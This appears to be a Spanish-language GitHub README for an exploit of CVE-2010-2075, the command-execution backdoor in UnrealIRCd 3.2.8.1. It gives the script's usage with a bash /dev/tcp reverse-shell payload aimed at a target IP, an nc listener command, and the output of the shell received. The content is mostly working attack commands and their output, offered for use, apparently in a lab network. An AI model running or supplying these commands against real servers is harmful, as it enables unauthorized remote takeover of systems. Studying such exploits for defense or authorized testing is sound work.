fredbrave/cve-2010-2075-unrealircd-3.2.8.1Exploit para CVE:2010-2075. Este exploit permite la ejecución remota de comandos en UnrealIRCd 3.2.8.1.
Exploit para CVE:2010-2075. Este exploit permite la ejecución remota de comandos en UnrealIRCd 3.2.8.1.
optparse, signal
Puedes enviar un comando para ejecutar, pero habrá veces en las que no responderá; simplemente puedes enviar una reverse shell y esperar a que llegue.
python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/10.0.2.48/443 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...
Y recibí la shell
nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.48] from (UNKNOWN) [10.0.2.119] 56916
bash: cannot set terminal process group (415): Inappropriate ioctl for device
bash: no job control in this shell
server@real:~/irc/Unreal3.2$